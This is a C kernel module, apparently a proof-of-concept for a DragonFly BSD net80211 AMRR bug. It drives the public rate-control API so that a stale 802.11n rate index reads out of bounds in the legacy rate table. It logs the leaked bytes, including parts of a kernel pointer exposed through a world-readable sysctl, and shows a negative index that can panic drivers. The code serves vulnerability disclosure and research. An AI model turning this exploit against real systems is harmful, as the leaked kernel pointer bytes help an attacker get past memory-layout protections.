/*
 * amrroob.c - DF-3454 proof-of-concept
 *
 * Demonstrate that ieee80211_amrr (wlan_amrr, the DEFAULT ratectl on
 * DragonFly) never revalidates amn_rix against the *currently selected*
 * rateset.  When a node's HT status flips (HT channel -> legacy channel,
 * or htrates cleared on reassoc), amn_rix - an index valid only for the
 * 77-entry ni_htrates table - is used against the 15-entry ni_rates table:
 *
 *   ieee80211_amrr.c:259/:301  amrr_update reads rs->rs_rates[rix]      (OOB)
 *   ieee80211_amrr.c:339       amrr_rate  writes ni_txrate from it      (OOB)
 *   ieee80211_amrr.c:434/:438  amrr_node_stats prints it to the
 *                              world-readable rate_stats sysctl         (OOB)
 *   ...and the raw rix is returned to drivers that index their own
 *   legacy tables (run(4): rt2860_rates[12], bwn(4): rs_rates[rix-1]).
 *
 * This harness drives ONLY the public net80211 ratectl API
 * (ieee80211_ratectl_set / _node_init / _tx_update / _rate / _node_stats)
 * from a synthetic vap/node, exactly as a real driver would.  amrr is the
 * default algorithm (ieee80211_ratectl.c:119 forces AMRR when NONE).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/conf.h>
#include <sys/malloc.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/sbuf.h>
#include <sys/types.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ethernet.h>

#include <netproto/802_11/ieee80211_var.h>
#include <netproto/802_11/ieee80211_amrr.h>
#include <netproto/802_11/ieee80211_ratectl.h>

static int amrroob_run(SYSCTL_HANDLER_ARGS);
static SYSCTL_NODE(, OID_AUTO, amrroob, CTLFLAG_RW, 0, "amrr oob test");
SYSCTL_PROC(_amrroob, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, amrroob_run, "I", "run the amrr OOB test");

static void
pause_ticks(int t)
{
	static char amrroob_wchan[16] = "amrroob";

	tsleep((void *)amrroob_wchan, 0, "amrroob", t);
}

static void
dump_stats(struct ieee80211_node *ni)
{
	struct sbuf sb;
	char *p;

	sbuf_new(&sb, NULL, 4096, SBUF_AUTOEXTEND);
	ieee80211_ratectl_node_stats(ni, &sb);	/* == amrr_node_stats() */
	sbuf_finish(&sb);
	p = sbuf_data(&sb);
	kprintf("amrroob: [rate_stats sysctl content]\n");
	while (p != NULL && *p != '\0') {	/* print line by line */
		char *nl = strchr(p, '\n');
		if (nl != NULL)
			*nl = '\0';
		kprintf("amrroob:   |%s\n", p);
		if (nl == NULL)
			break;
		p = nl + 1;
	}
	sbuf_delete(&sb);
}

static int
amrroob_run(SYSCTL_HANDLER_ARGS)
{
	struct ieee80211vap *vap;
	struct ieee80211_node *ni, *ni2;
	struct ieee80211_channel *htc, *legc;
	struct ieee80211_amrr *amrr;
	struct ieee80211_amrr_node *amn;
	uint8_t *a_rates, *a_end_legacy, *a_chan, *a_htrates, *a_meshid;
	char *node_end;
	int error, reqv = 0, rix, i, steps, txc, succ, rtr;
	int meshid_off, chan_off;
	static const uint8_t legacy_rates[12] =
	    { 2, 4, 11, 22, 12, 18, 24, 36, 48, 72, 96, 108 };

	error = sysctl_handle_int(oidp, &reqv, 0, req);
	if (error != 0 || reqv == 0)
		return (error);

	/*
	 * Setup: a synthetic vap whose iv_rate is set to the REAL amrr
	 * ops via the REAL ieee80211_ratectl_set(), and iv_rs set up
	 * exactly as amrr_init() does (kmalloc + default thresholds +
	 * amrr_setinterval(500), which we invoke through the real
	 * ir_setinterval entry).  We do not call ir_init() itself because
	 * its sysctl attach wants a fully-constructed vap sysctl tree -
	 * everything amrr_node_init/amrr_update/amrr_rate/amrr_node_stats
	 * need is reproduced 1:1 below.
	 */
	vap = kmalloc(sizeof(*vap), M_DEVBUF, M_INTWAIT | M_ZERO);
	ni  = kmalloc(sizeof(*ni),  M_80211_NODE, M_INTWAIT | M_ZERO);
	ni2 = kmalloc(sizeof(*ni2), M_80211_NODE, M_INTWAIT | M_ZERO);
	htc = kmalloc(sizeof(*htc), M_DEVBUF, M_INTWAIT | M_ZERO);
	legc = kmalloc(sizeof(*legc), M_DEVBUF, M_INTWAIT | M_ZERO);

	htc->ic_freq = 5500;  htc->ic_ieee = 100;
	htc->ic_flags = IEEE80211_CHAN_A | IEEE80211_CHAN_HT20;   /* 11n chan */
	legc->ic_freq = 5500;  legc->ic_ieee = 100;
	legc->ic_flags = IEEE80211_CHAN_A;			 /* legacy chan */

	vap->iv_rs = amrr = kmalloc(sizeof(*amrr), M_80211_RATECTL,
	    M_INTWAIT | M_ZERO);
	amrr->amrr_min_success_threshold = IEEE80211_AMRR_MIN_SUCCESS_THRESHOLD;
	amrr->amrr_max_success_threshold = IEEE80211_AMRR_MAX_SUCCESS_THRESHOLD;

	ieee80211_ratectl_set(vap, IEEE80211_RATECTL_AMRR);
	if (vap->iv_rate == NULL) {
		kprintf("amrroob: FATAL amrr ops not registered\n");
		error = ENODEV;
		goto out;
	}
	ieee80211_ratectl_setinterval(vap, 500);	/* real amrr_setinterval */
	kprintf("amrroob: algorithm=%p interval=%d ticks (hz=%d)\n",
	    vap->iv_rate, amrr->amrr_interval, hz);

	ni->ni_vap = vap;
	ni->ni_chan = htc;
	/* legacy rateset: 12 entries (max realistic) */
	ni->ni_rates.rs_nrates = 12;
	memcpy(ni->ni_rates.rs_rates, legacy_rates, 12);
	/* HT rateset: full 77-entry table, MCS numbering 0..76 */
	ni->ni_htrates.rs_nrates = IEEE80211_HTRATE_MAXSIZE;
	for (i = 0; i < IEEE80211_HTRATE_MAXSIZE; i++)
		ni->ni_htrates.rs_rates[i] = i;
	/* recognizable pattern in an intra-struct field the OOB read crosses */
	memset(ni->ni_meshid, 0xA5, IEEE80211_MESHID_LEN);

	a_rates      = (uint8_t *)&ni->ni_rates.rs_rates[0];
	a_end_legacy = a_rates + IEEE80211_RATE_MAXSIZE;   /* == rs_rates+15 */
	a_chan       = (uint8_t *)&ni->ni_chan;
	a_htrates    = (uint8_t *)&ni->ni_htrates.rs_rates[0];
	a_meshid     = (uint8_t *)&ni->ni_meshid[0];
	node_end     = (char *)(ni + 1);
	chan_off     = (int)(a_chan - a_rates);
	meshid_off   = (int)(a_meshid - a_rates);

	kprintf("amrroob: node=%p size=%zu  legacy rs_rates[0..14]=%p..%p\n",
	    ni, sizeof(*ni), a_rates, a_end_legacy - 1);
	kprintf("amrroob: &ni_chan=%p (rs_rates +%d..+%d)  &ni_meshid=%p (+%d)  "
	    "&ni_htrates.rs_rates=%p (+%d)\n",
	    a_chan, chan_off, chan_off + 7, a_meshid, meshid_off,
	    a_htrates, (int)(a_htrates - a_rates));
	kprintf("amrroob: ni_chan pointer value = %p\n", ni->ni_chan);
	if (a_htrates + IEEE80211_HTRATE_MAXSIZE > (uint8_t *)node_end) {
		kprintf("amrroob: FATAL node too small\n");
		error = EFAULT;
		goto out;
	}

	/*
	 * Phase 1: associate as 11n.  amrr_node_init picks an htrates index.
	 */
	ieee80211_ratectl_node_init(ni);
	amn = ni->ni_rctls;
	kprintf("amrroob: PHASE1 11n node_init -> amn_rix=%d "
	    "(htrates nrates=%u, legacy nrates=%u)\n",
	    amn->amn_rix, ni->ni_htrates.rs_nrates, ni->ni_rates.rs_nrates);

	/*
	 * Phase 2: drive the rate UP through the real API (as a driver's
	 * stats poller does): success stats + interval elapse => rix++.
	 */
	txc = 100; succ = 1; rtr = 0;
	steps = 0;
	while (amn->amn_rix < (int)ni->ni_htrates.rs_nrates - 1 && steps < 90) {
		int old = amn->amn_rix;
		ieee80211_ratectl_tx_update(vap, ni, &txc, &succ, &rtr);
		pause_ticks(amrr->amrr_interval + 3);
		rix = ieee80211_ratectl_rate(ni, NULL, 0);
		if (amn->amn_rix == old) {	/* paranoia: no progress */
			steps += 100;
			break;
		}
		steps++;
	}
	kprintf("amrroob: PHASE2 after %d successful intervals -> amn_rix=%d "
	    "(valid ONLY for the 77-entry htrates table)\n",
	    steps, amn->amn_rix);
	if (amn->amn_rix < IEEE80211_RATE_MAXSIZE) {
		kprintf("amrroob: FATAL could not push rix past legacy size\n");
		error = EDOOFUS;
		goto out;
	}

	/*
	 * Phase 3: THE FLIP.  Node switches to a legacy (non-HT) channel -
	 * e.g. DFS radar event forces a CSA to a legacy channel, or the peer
	 * re-associates without HT IEs.  amrr_node_is_11n() now returns 0,
	 * so rs becomes &ni->ni_rates (12 entries), while amn_rix stays 76.
	 */
	ni->ni_chan = legc;
	rix = ieee80211_ratectl_rate(ni, NULL, 0);
	kprintf("amrroob: PHASE3 after HT->legacy flip: ratectl_rate() "
	    "returned rix=%d; legacy rs_nrates=%u; amn_rix=%d\n",
	    rix, ni->ni_rates.rs_nrates, amn->amn_rix);
	kprintf("amrroob: rix=%d indexes legacy rs_rates[%d] => %p is OOB "
	    "(array ends at rs_rates[%d]); byte actually read: 0x%02x "
	    "(ground truth 0x%02x at that address)\n",
	    rix, rix, a_rates + rix, IEEE80211_RATE_MAXSIZE - 1,
	    a_rates[rix], a_rates[rix]);
	kprintf("amrroob: ni_txrate now 0x%02x (leaked into every get-node "
	    "info ioctl / isi_txrate)\n", ni->ni_txrate);

	/* what the world-readable net.wlanX.rate_stats sysctl would print */
	dump_stats(ni);

	/*
	 * Phase 4: walk the rate DOWN (failure stats, as under packet loss)
	 * and log every byte amrr_update reads OOB from the legacy table.
	 * rs_rates[16..23] overlay the ni_chan KERNEL POINTER;
	 * rs_rates[meshid_off..] overlay the 0xA5 pattern.
	 */
	kprintf("amrroob: PHASE4 failure-driven walk-down, reading one OOB "
	    "byte per interval (net.wlanX.rate_stats shows these as 'rate'):\n");
	txc = 30; succ = 0; rtr = 20;		/* is_failure */
	steps = 300;
	while (amn->amn_rix >= chan_off && steps-- > 0) {
		int old = amn->amn_rix;
		ieee80211_ratectl_tx_update(vap, ni, &txc, &succ, &rtr);
		pause_ticks(amrr->amrr_interval + 3);
		ieee80211_ratectl_rate(ni, NULL, 0);
		if (amn->amn_rix == old)
			break;
		kprintf("amrroob:   rix=%2d -> read %p = 0x%02x  (ni_txrate/"
		    "sysctl show 0x%02x)%s%s\n",
		    amn->amn_rix, a_rates + amn->amn_rix,
		    a_rates[amn->amn_rix], ni->ni_txrate,
		    (amn->amn_rix >= chan_off &&
		     amn->amn_rix < chan_off + 8) ?
		    "  [ni_chan pointer byte]" : "",
		    (a_rates + amn->amn_rix >= a_meshid &&
		     a_rates + amn->amn_rix < a_meshid + IEEE80211_MESHID_LEN) ?
		    "  [0xA5 meshid marker]" : "");
	}

	/*
	 * Phase 5: the empty-rateset tmp-node case (ieee80211_node.c
	 * ieee80211_tmp_node -> ratectl_node_init with no rates at all):
	 * amn_rix becomes -1 and amrr_rate() returns -1 to drivers.
	 */
	ni2->ni_vap = vap;
	ni2->ni_chan = htc;			/* HT chan but NO ht rates */
	ieee80211_ratectl_node_init(ni2);
	rix = ieee80211_ratectl_rate(ni2, NULL, 0);
	kprintf("amrroob: PHASE5 tmp-node (empty ratesets): amn_rix=%d "
	    "ratectl_rate() returned %d (drivers index rate tables with "
	    "this; iwm_setrates KASSERTs rix>=0 -> INVARIANTS panic)\n",
	    ((struct ieee80211_amrr_node *)ni2->ni_rctls)->amn_rix, rix);
	dump_stats(ni2);

	kprintf("amrroob: DONE - OOB reads demonstrated via public ratectl "
	    "API only; guest still alive\n");
	error = 0;
out:
	if (ni2->ni_rctls != NULL)
		ieee80211_ratectl_node_deinit(ni2);
	if (ni->ni_rctls != NULL)
		ieee80211_ratectl_node_deinit(ni);
	if (vap->iv_rs != NULL)
		ieee80211_ratectl_deinit(vap);		/* amrr_deinit */
	kfree(ni2, M_80211_NODE);
	kfree(ni, M_80211_NODE);
	kfree(legc, M_DEVBUF);
	kfree(htc, M_DEVBUF);
	kfree(vap, M_DEVBUF);
	return (error);
}

static int
amrroob_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("amrroob: loaded (sysctl amrroob.run=1 to start)\n");
		return (0);
	case MOD_UNLOAD:
		kprintf("amrroob: unloaded\n");
		return (0);
	}
	return (EOPNOTSUPP);
}

DEV_MODULE(amrroob, amrroob_modevent, 0);
MODULE_DEPEND(amrroob, wlan_amrr, 1, 1, 1);
MODULE_DEPEND(amrroob, wlan, 1, 1, 1);
